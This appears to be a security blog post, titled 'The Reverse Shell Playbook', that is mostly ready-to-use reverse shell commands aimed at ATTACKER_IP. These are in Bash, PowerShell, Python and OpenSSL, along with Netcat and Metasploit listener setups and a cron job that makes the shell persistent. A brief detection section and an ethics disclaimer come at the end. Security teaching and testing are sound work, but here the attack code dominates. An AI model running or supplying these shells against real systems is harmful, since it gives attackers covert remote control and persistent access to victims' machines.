The Reverse Shell Playbook: From Command Line to Control

A reverse shell is a powerful technique used in cybersecurity to gain remote control over a target machine. Unlike a bind shell, which opens a port on the target system and waits for a connection, a reverse shell forces the target machine to connect back to the attacker’s machine. This method is often used in penetration testing, red teaming, and ethical hacking.

You Should Know:

1. Basic Reverse Shell Commands

Here are some common reverse shell commands for different operating systems:

Linux (Bash):

bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1

Windows (PowerShell):

powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('ATTACKER_IP',PORT);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

Python (Cross-Platform):

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACKER_IP",PORT));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

2. Setting Up a Listener

To catch the reverse shell, use Netcat:

nc -lvnp PORT

Or Metasploit’s Multi-Handler:

msfconsole -q -x "use exploit/multi/handler; set PAYLOAD linux/x86/shell_reverse_tcp; set LHOST YOUR_IP; set LPORT PORT; run"

3. Advanced Reverse Shell Techniques

• Encrypted Shells (OpenSSL):

  Attacker (Listener): 
  openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes 
  openssl s_server -quiet -key key.pem -cert cert.pem -port PORT
  
  Victim (Linux): 
  mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect ATTACKER_IP:PORT > /tmp/s; rm /tmp/s
  

• Persistence with Cron Jobs (Linux):

  (crontab -l 2>/dev/null; echo "     /bin/bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1'") | crontab -
  

4. Detection & Prevention

• Monitor outgoing connections with:

  netstat -tulnp 
  

• Use Firewall Rules to block unauthorized reverse shells:

  iptables -A OUTPUT -p tcp --dport PORT -j DROP 
  

What Undercode Say:

Reverse shells are a double-edged sword—essential for security professionals but dangerous in the wrong hands. Always use these techniques ethically and with proper authorization. Strengthen your defenses by:
– Disabling unnecessary services (systemctl disable SERVICE).
– Restricting outbound connections (ufw deny out PORT).
– Using Endpoint Detection & Response (EDR) tools like Osquery or Wazuh.

For further reading:

• OWASP Reverse Shell Cheat Sheet
• Metasploit Unleashed

Expected Output:

A fully interactive shell session on the attacker’s machine, allowing command execution on the target system.

References:

Reported By: Alexrweyemamu The – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅

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